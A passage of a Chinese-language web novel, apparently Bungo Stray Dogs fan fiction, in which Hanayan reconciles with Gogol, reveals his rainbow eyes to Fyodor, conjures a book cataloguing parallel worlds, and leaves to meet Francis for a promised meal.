果戈里回忆了一下,惊恐地发现对方好像真的自始至终都没有对他说过自己要杀费奥多尔这回事。 “那你为什麽要跟我说‘很快会再见’?你应该知道你即将进默尔索,也知道我即将借助默尔索的机会杀陀思君,而且而且——!如果你不想杀陀思君,你为什麽要做出那些举动?甚至还特意把我们所有人都弄去了那个没有异能的校园——!” 果戈里一番分析下来把自己说服了,他看着花言,露出一副“你别装了”的表情,“综上——!花言,你分明也想杀陀思君,难道你是不想跟我合作——?” 说到最后果戈里的神色又变得悲痛欲绝了起来。 为了避免再出现什麽误会,花言快速解释,“我会说‘很快会再见’的原因是我希望你劫狱的时候能顺带捞我一把,至于校园纯属是意外,你可以当作我异能失控。” 果戈里:…… “可陀思君分明跟我们说要警惕你……” 非要他剖析自己的黑历史吗? 花言沉痛地点头,“是的,那也是一点小小的意外。” 果戈里仿佛遭遇了什麽重大打击,他蹲在墙角双手捂着脸,像是在消化这个恐怖至极的真相。 半晌,他又像是意识到什麽不对劲,从手心里抬起头。 “但是花言,如果你不想杀陀思君,那你为什麽要做这一切呢?” 真的要这麽刨根问底吗? 花言默然盯着对方,后者似乎从他的沉默里再次意识到了有趣的发展,在对方即将贴过来刨根问底之前。 花言率先开口,使用了土味情话前半段谜语,“因为我要从他身上得到一样比他的生命还宝贵的东西。” “是什麽?” 果戈里还是好奇地贴了上来。 开玩笑,花言会说吗? 他伸手将对方推了回去,“你到时候就知道了。” “诶——” 果戈里不满地拖拽着音调,“真的不能告诉我吗——?花言——” 花言觉得自己已经告诉得对方够多了,如果对方再这样刨根问底下去就不太礼貌了。 他开始秋后算账,“我说,果戈里啊……如果你说我坏话和透露我眼睛秘密都是为了让费奥多尔忌惮我。创建在你以为我要杀费奥多尔,以及你应该也了解费奥多尔作风的基础上,你真的是想让我安全,而不是想让我成为靶子,好方便你偷偷下手吗?” 毕竟果戈里现在失去了学院的那麽一个好时机,费奥多尔又出狱了,他没有了能够再下手的机会,既然没有机会,那就创造机会,当费奥多尔注意力全都放在除掉他的身上,对方就有可乘之机了。 果戈里安静了一秒,他主动拉开距离,挠下后脑勺,似不好意思般“唉嘿”了一声。 “花言,我突然想起来……” 花言一眼识破了果戈里想要开脱的诡计。 “在你想起来有什麽合理借口的急事离开之前,记得把我送回去。我现在穿着单薄的睡衣站在快要入冬的寒风里,如果感冒了我一定会一直一直盯着你的。” 果戈里:…… 第100章 果戈里最终还是依照花言所说的将后者送回了原地。 费奥多尔斜斜靠坐在椅子里,手肘撑在扶手上支着脸颊,看着两人的身影重新出现在这处房间。 “你们已经说完悄悄话了吗?” 费奥多尔的语气听不出情绪,仿佛只是一时的好奇询问。 “哈哈……呃……什麽悄悄话?陀思君你说的我们根本听不懂啦——” 果戈里试图蒙混过关,他手里揪着斗篷没有放开,颇具欲盖弥彰意味地看了眼花言,又在后者察觉到之前移开。 他一本正经地开始胡说八道,“刚刚花言吓了我一跳——!我只是以为他是鬼,所以把他发送走了!不过没关系——现在我已经确认原来是我误会了。” “那您还挺舍己为人的呢。”费奥多尔唇边扬起一抹弧度,真挚的语气让人近乎察觉不到其中的讥诮。 果戈里假装没有听出费奥多尔在暗讽他——明明可以只发送自己或者花言,一起发送走反而多此一举的意味。 “真让人不好意思。”他毫不心虚地接纳了对方表面上的赞美,“不用太感谢我,陀思君。” 果戈里没有给费奥多尔再开口的时间,他拉过斗篷,马不停蹄地告别。 “诶呀,我突然想起来还有急事呢——那麽,这一次的叙旧就到这里吧!下次再见哦!陀思君,花言~” 雪白的斗篷翻飞间彻底消失,寂静无声的房间里只剩下了花言和费奥多尔。 花言察觉到费奥多尔的视线似乎看向了他,宕机立断地跟果戈里撇清关系,“我只是想看他到底想做什麽,不关我的事。” 费奥多尔哑然失笑,“我当然相信您,花言,我只是有些意外您居然能够让果戈里如此迅速地离开。” 花言有些拿不准对方这句话的意思是不是跟刚刚对果戈里的一样,看似是赞叹实则是暗讽。 虽然对方此刻的语气比起之前要柔和了不少,但还是确认一下比较好…… “果戈里……是你主动找来的吗?” 如果果戈里是对方主动找来的,那对方这句话应该是在暗讽他让果戈里离开的太快了,导致对方还有话没跟果戈里交代完。如果果戈里不是对方主动找来的,那对方这句话应该只是字面意思,并且也嫌弃果戈里吵。 “不是。”费奥多尔调整了一下姿势,用掌心撑着脸颊,变得更随意了一些,“他只是刚好来找我……嗯,应该是想看看有没有什麽可乘之机,然后他提起了您,再后面的事情,您都应该听见了。” 花言觉得费奥多尔好像在隐晦地提醒自己果戈里不是个可靠的对象,但是后者轻描淡写的语气又仿佛只是随口一提。 不过…… “果戈里说的——默尔索那边的记录是什麽?” 他真的喜提国际通缉犯身份了? “是默尔索那边对您眼睛秘密的猜测记录。” 费奥多尔视线若有所思地再次落到花言身上,后者身上穿着不知道从哪拿出的、尺码合适的睡衣,雪白的长发也披散在身后,一副刚起床的朦胧模样中只有眼前的墨镜显得违和。 由于花言当初进默尔索是异能特务科操纵的,所有数据也是后者提供的,其中应该有“太宰治”的手笔,后者为了帮助花言隐藏双眼的秘密,在数据中进行了一些强调与警醒,借此让默尔索那边没有趁花言昏迷的那段时间轻举妄动查看对方的双眼。 因此,至今为止,外面所有有关花言双眼的秘密还是有关“诅咒”的那些传闻。 但从果戈里的反应来看,花言的眼睛绝对没有什麽特殊的力量,再联系起平行世界的自己所说的话,花言的眼睛或许只是在外观上有所问题。 “原来是这样。” 默尔索那边的记录都是夸大了的传言,花言知道费奥多尔也没有相信,同样的,这应该算是对方第二次提起这件事了。 考虑到果戈里之前试图用这点背刺自己情况,以及他跟对方解释了自己其实并不想杀费奥多尔的事,花言总觉得对方说不准会再背刺自己。 当然,就算对方不背刺自己,而是想要用这一点背刺费奥多尔也不行。 他可不想因为这个出现什麽狗血胃痛发展。 花言指尖搭上墨镜,缓缓开口,“那……你想知道秘密的真相吗?” 费奥多尔从对方话语中读出了对方似乎打算在现在履行承诺的意思,他确认道:“没关系吗?我不想强迫您,花言。” “没关系,我说过的,如果你下次问起,或者有合适的机会,我会告诉你的。”花言说着停顿了一下,事先提醒,“不过……嗯,可能就是……我的眼睛会有点奇怪。” 费奥多尔对此已经有所预料,他轻声安抚,“您应该知道我不是那种以貌取人的人。” 既然对方都这样说了。 花言深吸一口气,一鼓作气摘下了墨镜。 费奥多尔因对方的动作不自觉地直起了背脊,他注视着对方抬手摘下墨镜的动作,然后发现对方正闭着眼。 费奥多尔:…… 费奥多尔有些无奈地笑了一声,不过既然对方都已经踏出了第一步,那后面的由他来引导也未尝不可。 他从椅子中起身,走向几步之遥的白发青年,后者内心似乎在进行着什麽激烈的斗争,雪白的睫羽微微颤动。 花言正在努力说服自己,他明明已经答应了,在进行最后一步时怎麽能退缩呢? 七彩玛丽苏瞳色真的那麽可怕吗? 是的,很可怕。 这是让他从一个阳光开朗大男孩变成阴暗潜行茶泡饭幽灵的根本源头。 他现在假装自己其实跟条野采菊一样还来得及吗? 要不然假装他跟江户川乱步一样是眯眯眼吧,这个设置也很时髦。 花言已经进入了一鼓作气再而衰三而竭的状态,脑子里塞满了乱七八糟的想法,在履行承诺与更新个时髦人设之间徘徊不定。 忽然,脸颊粘贴一缕凉意,强行中断了他的思绪,属于另一个人的体温从触碰的地方传导,似乎有谁伸出双手捧起了他的脸颊。 “花言,您做的已经很好了。” 耳畔洒落一抹温热的气息,优雅又低沉的嗓音被放轻,像是一片轻盈的羽毛缓缓坠地,从容不迫的语气带着能够让人放下戒备的蛊惑与引诱。 “请您看我。” 花言下意识顺应费奥多尔的话睁开眼眸,雪白的睫羽缓缓抬起,露出其中一直裹藏的绚丽色彩。 那像是容纳了所有人类目前已知色彩的宝石,绮丽又梦幻,让费奥多尔想到了俄罗斯初春时挂在白桦树枝头的冰淩,它们会在暖阳洒落时焕发出美丽的七彩光晕,干净透彻又圣洁无暇,近乎能从中看见自己的倒影。 而对方送给自己的那枚吊坠,上面的白欧泊有时也会在光芒的变换中映衬出各种绚烂的色彩。 原来对方早已给过他提示。 书房内的窗帘都被牢牢拉起,只余计算机屏幕的莹莹冷光照亮了彼此,此刻他们之间的距离极近,近乎能够闻到彼此身上近乎如出一辙的淡雅冷香。 与他身上纯粹的清冷气息不同,花言身上还混杂着一缕不和谐的幽香,这应该是果戈里刚刚用异能带对方离开时沾上的,不过现在那点不和谐的气息已经伴随着时间的推移逐渐从对方身上散去。 花言没有注意自己身上的气息变化,他清楚地捕捉到了费奥多尔眼底一闪而逝的惊讶,与随后浮现出的一缕笑意,那缕笑意里又没有嘲笑的意思,像是单纯的愉悦。 花言踌躇地询问:“嗯……你觉得奇怪吗?” “没有,我觉得很好看。”费奥多尔搭在对方脸颊边的指尖轻轻抚过对方雪白的睫羽,后者本能地微微眯起眼睛,他夸赞道:“很梦幻的色彩。” 真的吗? 花言脸上浮现出明晃晃的怀疑,他不怀疑对方的品味,但他怀疑对方是不是故意说这些话安慰自己。 他隐晦地表示自己其实知道这个瞳色很怪,“我最初是想换个正常一点的模样……” 这句话让费奥多尔想起对方最初出现在“骸塞”时的黑发黑瞳,以及另一个世界的自己所说的那句近乎是自言自语的猜测。 ——是因为能量不够,所以没办法维持那种普通的模样吗? “这样也很好,花言。” “唔……” 花言勉强相信了对方的话。 见花言已经不再怀疑,费奥多尔捧着对方脸颊的手逐渐收回,在指尖彻底离开那一片温热的皮肤时,不忘将对方散落在脸颊边的发丝挽回耳后,意外地发现这一处皮肤的温度比脸颊要高上些许。 他忽然想起了什麽,“花言,我帮您把头发梳起来吧?” “不……” 花言即将脱口而出的不想麻烦对方的话语,在回想起对方昨晚在中华街对自己所说的话时咽回。 费奥多尔希望自己能够对他更理所当然一些,如果自己再这样一直维持距离,就显得有点像是排斥对方了。 花言更改了决定,他从口袋里拿出那条发带,另一只手中星星点点的光芒汇聚,复制出了一把普通的梳子,将这两样东西一同递给了对方。 “麻烦你了。” 费奥多尔接过对方递过来的东西,轻轻笑了一声。 “没关系,我很乐意为您效劳。” 为了更加方便,他牵着花言走到书桌前,让后者坐在了椅子上,他挽起对方垂落在身后宛如初雪般柔软的长发,一缕缕悉心梳理。 椅子上的青年像是不太习惯与他人的近距离接触,也有可能是他的体温于对方而言确实有点低,每当他指尖不小心擦过对方温热的皮肤时,后者都会下意识想要与他拉开距离,但又会在注意到这点时再次靠近。 这种细微又纯粹的反应让费奥多尔唇边笑意加深,有些恶趣味地放慢了手中的速度,将这个过程不断延长,借此观察对方更多有趣的小动作。 花言顺从地坐在椅子里任由对方动作,直到慢半拍地意识到对方好像花费的时间有点久,没能忍住喊了一声对方的名字。 “费奥多尔?” “嗯,马上好。” 费奥多尔知道这已经是对方的极限了,他手指勾起对方散落的发丝用发带扎成一束,在昏暗光线中近乎呈现于黑的紫色发带顺着雪白的发丝一同从指间垂落。 恍若人迹罕至的雪林深处唯一的真实与痕迹。 他的想法没错,早在一开始,他就觉得这会很适合对方。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 100-110 第101章 感受到身后的人似乎已经结束,花言伸出手摸了摸确认头发已经被扎好,在道谢的同时不忘起身将椅子重新还给对方。 书房里的布置十分简约,只放置了一套桌椅,椅子靠在桌边,身侧就是昏暗房间内唯一的光源——计算机显示屏,因此花言不可避免地注意到了铺陈在屏幕中的那些窗口,以及桌面上那杯早已经冷掉的咖啡。 他在进来时就看见费奥多尔坐在书桌边计算机前像是在工作,该不会是他想的那样吧? 一个恐怖且合理的猜想从花言脑海里冒了出来,“你一晚上没睡吗?” 一直在高强度工作? 费奥多尔听见对方的问题认真思索了一会儿,“我想……应该也不算一晚上?从我们昨天回来到现在也才过去了五个小时而已。” 这有什麽区别啊! 花言瞳孔地震,只觉得费奥多尔果然恐怖如斯。 而且不知道是不是因为感受到了来自于无休上班的神秘诅咒,花言忽然觉得自己好像又困了起来。 他欲言又止地看着双手搭在椅背上回望他的紫眸青年,后者全然没有觉得这有什麽不对,苍白又有些憔悴的脸上满是无辜的疑惑,眼眶下方的那点乌青在无机质冷光的映衬下变得更加明显。 他有点想劝对方要不然先睡一下吧,但又怕对方有什麽急事要处理,毕竟某种程度上费奥多尔相当于是在与世界为敌,不紧绷一点很容易出纰漏。 提起这个,花言想起昨天晚上太宰治跟他说的话。 现在“猎犬”不再追捕武装侦探社,后者的处境也没有之前那麽举世皆敌,太宰治甚至还能从“猎犬”那里得知“书页”并不在福地樱痴身上的信息。 这让花言有些好奇这些人之间究竟发生了什麽,从黑白熊的数据中有从他身上得到的数据来看,难道他们在那场自相残杀游戏中得到的光盘与秘密纸条中有什麽透露了未来的东西?又或者是透露了一些彼此所隐瞒的信息差中的信息? 这种可能不小,毕竟“猎犬”在拿到光盘后,之间的气氛就有点怪怪的,而且他还看见他们似乎产生了分歧的一幕。 如果真的是这样,现在这种各方都在按兵不动观察情况的场面怎麽看都对费奥多尔很不利…… 费奥多尔不太明白为什麽对方忽然陷入了安静,那双绮丽眼眸中的情绪从一开始的震撼到沉痛,再从沉痛到凝重,最后定格在愧疚,没等他从这些复杂的神色里推测出对方的想法,后者的身影忽然从原地消失,没过几秒又重新出现。 再次出现时,对方手中拿着一张看似平平无奇的白纸,那张白纸还有几分眼熟。 “抱歉,可能有点晚了……”花言把“书页”还给了对方,“我也是昨天才发现它在我这的。” “没关系。” 费奥多尔接过“书页”翻了个面,映入眼帘的内容不出意外地熟悉,他有些意外。 “我之前从福地先生那得知“书页”消失的信息时,本来还在想会不会是因为那场自相残杀游戏没有人独自毕业的原因所以被一起销毁了,又因为某种特殊原因而导致“书页”还在起效,没想到原来在您这。” 费奥多尔隐约猜到昨天太宰治为什麽会找花言了,“他昨天找您是为了“书页”吗?” 这没什麽好隐瞒的,花言干脆利落地点头,毫无负担地说道:““猎犬”那边有人告诉了他“书页”不在福地樱痴身上的信息,再加上他似乎从中原中也那得知我把那批货还给了港口mafia,所以认为“书页”在我身上,不过后来……” 花言从一开始的直白变得逐渐迟疑,他骤然意识到了什麽——接触“书页”的总共就这麽几个人,既然不在福地樱痴身上又不在他身上,那不就只能在费奥多尔身上了吗?! 他好像又给对方挖坑了。 花言表情骤然沉重,总之先道歉。 “抱……” 启唇刚发出一个音,后面的话语因外力阻隔而咽了回去。 费奥多尔右手轻轻捂住了对方的唇,迎上后者茫然又疑惑的视线,他含笑解释。 “不用道歉,花言,无论发生什麽事我都不会怪您的,更何况这并不是您的问题,我们都清楚太宰治的麻烦程度,如果那种时候您不那麽做,现在肯定已经被缠上了。” 费奥多尔松开手,指腹似无意般地擦过对方柔软又温热的脸颊,轻声说道:“您愿意把“书页”交给我,我已经很开心了。” 花言觉得对方有点太客气了,他这只是物归原主而已……不对,原主好像是异能特务科,所以他这应该算是把劳动者该得到的果实还给对方而已。 他有些迟疑地询问:“这张“书页”还能用吗?” 以现在的局势来看,后面的内容似乎哪怕生效也没办法完美达成对方目的了。 “唔……这确实是个问题呢。” 费奥多尔思索着垂下眼帘,目光落在手中写了一面的“书页”上,其中的内容只生效了部分,以花言将他们带去平行世界为分界线,往后的剩余部分迟迟没办法生效,像是被同等类型的能量介入干扰以至于陷入进退两难的境地卡住了一样。 花言见费奥多尔没有立即回答,知道这件事可能十分麻烦。 他虽然不想看对方闪击横滨也不想被大电风扇卷死,但更不希望彻底毁掉对方的计划。 愧疚战胜了不想工作的底线,更何况对方是他的攻略对象,为对方分忧也是其中必要的环节,花言说服了自己,再次开口。 “如果没办法用了,我这里还有新的“书页”可以给你,不过……就是不知道效果会不会跟这张一样。” 毕竟费奥多尔手中这张是“原件”,他手上的是“复制品”,哪怕从太宰治昨晚带“人间失格”触碰他时的情况来看,应该不会有什麽差别,但万一呢? 花言补充道:“总之如果有需要帮助的地方可以告诉我。” “嗯……?” 费奥多尔眼底闪过一丝惊讶,脑海里构想出的种种解决方案都在对方这句话面前被划去,他没想到对方会主动想要帮助自己,也没想到对方会愿意为了自己拿出新的“书页”,明明这些能量对于对方来说自己都不够用。 费奥多尔唇边浮现出真心实意的笑意,柔声说道:“谢谢您,花言,不过新的“书页”暂时不用。如果可以,能麻烦您告诉我,您在默尔索监狱里——将我们拉进平行世界前,手中的由金色光点组合成的书是什麽吗?” 是特效。 是系统给他整的抽世界动画。 花言很想这麽说,但现在的勇气还没到能与那种花里胡哨特效和解的地步,甚至现在对方提起当初的那一幕他都有点头皮发麻。 “是……呃……”花言尝试将意思委婉地表达给对方,“类似于其他世界的简介说明和入场券?” 他当时拿到手上面显现出了“学院”这个词汇,后面又变成了众多光点给所有人发电子学生手册,所以说是简介和入场券也没问题。 费奥多尔明白对方的意思了,“是您所接触过的那些世界?” 花言没想到对方居然能联想到这里,他微微点头,“应该算是。” 费奥多尔若有所思地应了一声。 半晌,他还是问道:“花言,那个方便给我看一下吗?” “给你看一下……?” 花言眼眸微微睁大。 真的假的,对方真的要看那种花里胡哨的特效吗? 震惊过后花言很快又反应过来对方应该不是想看特效,而是想看下其他世界,对方或许从之前的世界里产生了什麽想法,想看看能不能用其他迂回的方式将手中只剩一面可以书写的“书页”发挥出最大价值。 费奥多尔察觉到对方那一瞬间的难以置信,他眼眸中流露出歉意,“抱歉,如果让您为难……” “不用道歉。”花言轻轻摇头,他难得抱怨,“你总说我太客气,明明你才是最客气的,这点事根本没关系。” 费奥多尔没能忍住低低笑了一声,眼底是纯粹的愉悦,“我知道了,花言。” 花言已经知道对方想看的东西了,不过毕竟是第一次,为了以防万一,他还是先提醒了对方。 “我没尝试过这种事,不知道能不能成功。” 费奥多尔了解对方的性格,他安抚道:“嗯,无论成功与否都没关系。” 有了对方的保证,花言开始尝试着调出自己异能中的那一部分。 在彻底调出实体化前,他还抱有系统给他装的只是复制副本时的特效,说不准现在只调数据出来不会有特效出现的侥幸,但事实证明系统总是会在不必要的地方相当靠谱。 一缕缕不知道从哪来的气流以花言为中心盘旋,后者梳成一束垂落在身后的发丝与衣摆一同被卷起,星星点点的光芒在气流中攀升,伴随着时间的推移迅速增加,直到混杂在气流中成为拖拽着光尾的流光。 明媚的金色流光照亮了这处昏暗的书房,它们如流星般不断坠落进白发青年摊开的双手中,没有了墨镜的遮挡,那双拥有众多色彩的绮丽眼眸被映衬得无比透彻圣洁,甚至到了隐约有几分非人与妖异的地步,雪白衣摆的翻飞间近乎能够看见对方因常年未见光而显得有些苍白的腰际。 费奥多尔紫罗兰色的眼眸中倒映出眼前如梦似幻的场面,不同于默尔索中的模糊与疏离,此刻对方于他触手可及。 流光不断凝聚,直到零碎的光点完全消失,由能量卷起的气流彻底平息,只余白发青年手中散发着浅浅金色光芒的书安静地躺在那里,宣告着最终结果。 对方眼眸抬起,其中残留的妖异与非人感的淡漠在望向自己时被似为成功而感到高兴的笑意驱散。 下一秒,那本书被毫不犹豫地送到自己手中。 “给你。” 他听见对方如此说道。 第102章 手中飘散着细微光粒的书没有反馈给他任何触感,像是不存于世的幻影,也像是晨曦初生暖阳,不含温度又无法触及,只有视觉又如此强硬地宣告着它的存在。 费奥多尔指尖搭上纯色封面的边缘掀开了第一页。 与市面上的所有书籍相同,为了方便读者查阅,前几页都是目录,从无特殊力量体系的普通世界到力量体系最为混乱夸张的不稳定世界。 目录没有写世界的名字,仅有编号与代称,代称像是树木的部位解析,却只有“枝干”、“枝丫”、“叶片”三个部位。 排在第一个的世界不出意外的是他们曾去过的平行世界普通学院。 翻到那一页,以浅金色为底的纸上是褐金色的工整字迹,上面标题是“平行世界编号001(枝干)”,往下是一排排的注释,注释着这里有无特殊力量体系、可选择进入的时间段、可供挑选的入口所在地,以及有无安全风险。 前几页收录的世界入口近乎都是学院,也都有数种可以选择进入的时间段,费奥多尔无法从上面的内容看出这些学院有什麽不同,仅能从注释中细微的不同辨别出这些确实是不同的世界。 比如说在一页页以学院为入口注释着无特殊力量体系的最后一页出现了“疑似拥有特殊力量(高危运动打网球)”的字样,看得费奥多尔有些困惑。 在这页之后的世界入口就变得多样了起来,连带着特殊力量体系的注释也愈发清晰,比如说什麽“死亡案件高发地/令人怀疑‘这真的是科学吗’的科学技术”,又比如说什麽“读心术”之类的内容。 令费奥多尔意外的是他们夜晚进入的那所“希望之峰学园”也被收录在其中,标题是“平行世界编号032(枝丫)”,力量体系的注释是“超越常人的才能/蔓延的绝望病毒”。 这让费奥多尔有些在意每个世界编号后面的代称是什麽意思,他一手指尖夹着这一页,另一只手拇指和食指压着纸张不断翻页,终于代称为“叶片”的平行世界映入眼帘。 那是与这个世界近乎相同的平行世界,近乎所有注释都是他所熟悉的词汇,与其他“枝干”、“枝丫”不同的地方只有这个世界可以进入的时间段与入口都只有一个,也是这个世界所经历的、他所熟悉的——“龙头战争”期间的横滨。 费奥多尔若有所思地将书页又翻回之前他所看到的地方,他明白这些世界代称为什麽会不同了。 花言看着对方翻阅的动作,以及上面成功展现出的内容,不动声色地松了口气。 虽然复制粘贴的有点费力,但好歹最终还是成功了。 系统融进他异能里的数据库中记录的那些世界增加了他的工作量,如果全部都复制出来不知道要变成多厚一本书,因此花言仅选择性复制粘贴了费奥多尔想要得知的东西,那些不必要的、过于详细的背景剧情通通被筛除。 甚至为了方便对方理解,花言还特意借用“太宰治”的说法,将它们分成了三类代称。 见费奥多尔似乎一时半会儿看不完,他先去浴室换了身衣服,整理完再出来发现对方已经挪了个位置,从昏暗的书房换到了明亮舒适的客厅,后者靠坐在双人沙发中,修长的指尖时不时翻过那本在暖阳下显现出几分虚幻的书,而在茶几上放着正冒着热气的早餐。 似乎是察觉到了他的存在,对方注意力从书中抽离,抬起眼眸望了过来,贴心开口。 “您来了,我之前让下属去买的早餐有点凉了,所以加热了一下,不知道口感会不会变差,如果不符合您的口味,我让他们再重新买一份。” 这有点太客气了,他觉得他也不是什麽吹毛求疵的美食评论家。 花言尝了一口,感觉没什麽问题,“挺好吃的,你要尝尝吗?” 费奥多尔看着那个随意坐在地毯上的青年,轻轻摇头,“不用,我已经吃过了。” 该说不愧是高强度工作了一晚上的人吗?连吃早餐都比别人早。 话说费奥多尔这算不算是给他包吃又包住,花言思绪歪了一瞬。 他几口消灭了早餐,没等他思考接下来该去做些什麽,费奥多尔的嗓音恰到好处地在耳边响起,替他解决了这个难题。 “要一起看吗?” 花言其实感觉没什麽好看的,毕竟上面的内容他都清楚。 不过…… 他看了看对方身边像是特意给他留出来的空位,考虑到也许对方会有什麽看不懂的地方而想要问他的可能,没有拒绝对方的邀请,坐在了对方身侧,后者也相当自然地靠了过来,将手中的书一同分享给他。 费奥多尔对书中记录的世界确实有些困惑的地方,但问题比花言想象中的少,也都无关紧要,只问了他里面为什麽会有他们晚上的那所学院,以及跟他确认其中代称之间的关系是否如推测中的一样。 这个问题很好回答,其中会有他们晚上的那所学院,当然是因为系统融的数据库,不过他回答对方时稍微委婉了一点,仅说因为他接触到了那个世界。 花言不知道费奥多尔有没有明白他的意思,不过对方没有再继续追问这个问题,应该是已经有所答案了。 清晨的初阳伴随着时间的推移逐渐添上和煦的温度,费奥多尔没有再继续问他什麽,这一处空间一时之间静谧得只能听见彼此的呼吸。 花言对书中的内容不感兴趣,他有点昏昏欲睡,身形逐渐倚靠向一旁放置柔软抱枕的沙发扶手,在他彻底靠上的一瞬间,脑海中忽然响起“太宰治”的声音。 [花言,你睡醒了吗?] 这一声唤回了花言的意识,他即将合上的眼眸瞬间睁开。 昨晚因为太困,他只想起跟学院线的众人说他住宅所在的位置,告诉他们可以去那里居住,他的房子还蛮大的,后面的事情就没有再管,现在“太宰治”找他是出了什麽事吗? 花言感应了一下众人的位置,发现他们与昨晚一样,都是两三成群散落在横滨又或者是横滨之外的其他城市,也没有少任何一个,看起来他们仍旧在兴致勃勃地探索,没什麽问题。 花言安心了,他回复了对方。 [怎麽了?] [没什麽啦,只是看你没有回住处,位置又一直没有发生过什麽大变化,所以问问你有没有遇到什麽麻烦而已。] 得到花言的回复,“太宰治”语气轻快了不少。 [没什麽麻烦,我只是在陪他看书。] 花言跟对方说明了情况。 但不知道为什麽“太宰治”听见这个回答语气反而变得奇怪了起来。 [他?谁?这个世界的费奥多尔?] 花言没意识到有什麽不对。 [嗯,因为昨晚太困了,懒得走路,异能空间又不太舒服,刚好费奥多尔说他有个据点在附近,所以干脆去他那睡了。] “太宰治”不知道联想到了什麽,口吻带着些许凝重。 [那个据点有几个卧室?] 花言没注意过这一点,他抬头扫视了一圈。 [一个。] “太宰治”那边陡然沉默,再次开口时,斟酌又迟疑。 [你们睡在一起吗……?] 花言:? 倒也没有这麽一步到位。 [没有,他好像工作了一晚上。] “太宰治”那边再次沉默,半晌,传递过来的话语中带着某种敬畏与不知缘由的嘲笑意味。 [他还挺忙的。] [确实。] 花言赞同了“太宰治”的话。 确认花言很安全也没遇上什麽麻烦,“太宰治”提起了另一件事。 [花言,昨天晚上我遇见了弗朗西斯,他向我问了你的近况,并让我转告你,等你有空请你吃之前那顿没有吃成的大餐,让你别忘了。] 花言:…… 如果不是对方提醒,他说不准真忘了,细数现在这些“支线任务”好像也只剩下弗朗西斯那边了,后者帮了他不少忙,他居然忘记了对方的邀约,还把对方留到了最后。 花言忏悔了一秒,并决定现在就主动去找弗朗西斯弥补这一点。 费奥多尔分了一部分注意力在身侧的白发青年身上,观察着对方因他没有再问出问题而无聊到拨弄发稍,再到因暖阳而惬意地眯起双眼产生慵懒的睡意,再到对方像是被什麽打扰而突然睁开双眼变得清醒,眼底的神色也像是在与谁交流一样发生变化,最后定格在愧疚。 他看出对方想要离开的意向,确定了对方确实在与谁交流,而能够与对方用这种方式交流的人身份也很好猜。 “花言,是他们出了什麽事吗?” 花言愣了一秒才反应过来对方指的“他们”是谁,他并不意外对方能够察觉到他在跟其他人交流这一点,毕竟对方一向敏锐,而他又没有特意隐瞒。 花言告诉了对方答案,“没有,是弗朗西斯那边好像有事找我。” “原来是这样……”费奥多尔应了一声,轻声询问:“那您还会回来找我吗?” “当然,我答应了要帮你忙的。” 花言抬头看了眼墙上的时钟,预估了一下需要花费的时间,“应该用不了多少时间,下午我就会回来。” 费奥多尔得到想要的回答,他唇边挽起一抹温和的弧度。 “那麽,我会在这里等您,花言。” 花言觉得对方这句话好像似曾相识,以至于他近乎是瞬间想起上次跟对方分别时,对方好像也说过类似的话,他也答应过要主动找对方,但是最终还是对方主动找了自己——虽然是偶遇的。 他有些欲言又止地张了张口,似没头没脑般再次承诺,“这次是真的。” 费奥多尔有些不太明白对方为什麽要强调这一点,但视线触及对方眼眸中掩藏极深的心虚,他意识到对方或许是想到了上次的约定。 费奥多尔眼眸微弯,再次肯定。 “嗯,我相信您。” …… 沿海城市的秋冬季一向十分湿冷,不过今天的天气恰到好处地中和了这一点,连带着路上的行人也比往常要多。 花言一回生二回熟地踏入了弗朗西斯所在的公司,他蹲在门口,犹豫要不要撤掉身上覆盖的“细雪”。 这家公司看起来相当高端大气上档次,想要见弗朗西斯肯定要先走流程去预约然后等通知,那样有点麻烦,不如他现在直接跟着员工混进去。 但他现在的情况又跟上次不同,他这次是特意来找弗朗西斯的,也知道了这里是弗朗西斯的地盘,如果再混进去好像有点不太合适。 花言做出了决定,他站起身打算撤掉身上的异能老老实实地去走流程,但大厅里向两侧拉开的电梯门又让他止住了动作。 只见光可鉴人的电梯间中走出了一道熟悉的金发身影,后者西装笔挺,走路仿佛自带特效与光源,径直走向他所在的方向。 这看起来像是对方已经知道自己来了一样。 总该不会是他上一次的潜入让对方意识到了安保系统的不足,所以将热成像系统扩散到整个公司范围了吧? 仿佛是为了证实他的猜想,弗朗西斯推开玻璃门环顾了一圈,明明在对方视野里门口应该没有人,但对方却像是确定这里有人似的,自信开口。 “好了,我的朋友,你太腼腆了,我都亲自来迎接你了,怎麽还不出现?” 弗朗西斯近乎是自言自语的举动吸引了周围员工的注意,他们投来了好奇的目光,这份好奇的目光在来回确认门口确实没人时又迅速收了回去,转而小心翼翼地观察着自家老板,担忧对方是不是最近遭遇了什麽打击,之前带着助理消失了近半个月不说,现在甚至还对空气说话。 花言原本想撤掉异能的想法在周围员工频频望向这边的担忧又疑惑的视线下退却,再看弗朗西斯,后者像是没有察觉到般神色仍旧自信,连带着唇边的弧度都没有发生任何变化。 他不由得感叹对方不愧是成功人士,外界的视线根本无法影响到对方一丝一毫。 现在的勇气还不足以支撑他面对众多员工的打量,花言退而求其次地走到对方身侧,压低了声音。 “你现在方便吗?” 弗朗西斯不明白对方为什麽不出现,连声音都被刻意压低,但这并不是什麽大问题。 “当然,我在下来的路上已经让路易莎定好餐厅了,所以这个问题应该是我问你。” 不愧是弗朗西斯,不仅效率高,还十分周到。 花言暗自赞叹,“我有空。” 得到花言的回答,弗朗西斯自然地迈出脚步走向他的跑车,顺带给对方拉开了车门,“那太好了,我腼腆的朋友,先上车吧。” 花言没有在意对方的调侃,他系好安全带后身形才渐渐浮现。 身侧的弗朗西斯一脚油门让车蹿了出去,对方似乎心情极好,“要约你可真不是件容易的事情呢,我找了两个平行世界的……那个谁,才等到你来找我。” 花言墨镜下的视线游移,干咳了两声,“抱歉。” “你有点太认真了,我只是随口一说。” 弗朗西斯谈笑间又超了个车,尽情发挥着跑车的优势,一头耀眼的金发在风中乱舞,“我昨晚在路上看见那些穿着学生制服的人,还以为是熟人又变成学生模样了,一问才知道原来是你请了他们这里玩。” 花言努力从耳边呼啸的风声里辨别出对方的话语,不知怎麽想到对方在某种程度上也类似于是忙于工作的那一类,“在你刚下班的路上遇见的?” 弗朗西斯有些惊讶对方怎麽会这麽问。 “当然不是,我可不会工作到那麽晚,如果搞垮了身体就得不偿失了,我只是刚好尝试了这个国家的温泉在回去路上而已。” 花言:…… 真是相当养生的话语。 “这座乡下城市也是有好东西的,比如说那家露天温泉就很不错,听他们说冬天去泡效果会更好。” 弗朗西斯一手搭在方向盘上,一手从车里拿出了几张花花绿绿的纸递给对方。 “温泉券,买十赠五,相当划算。” 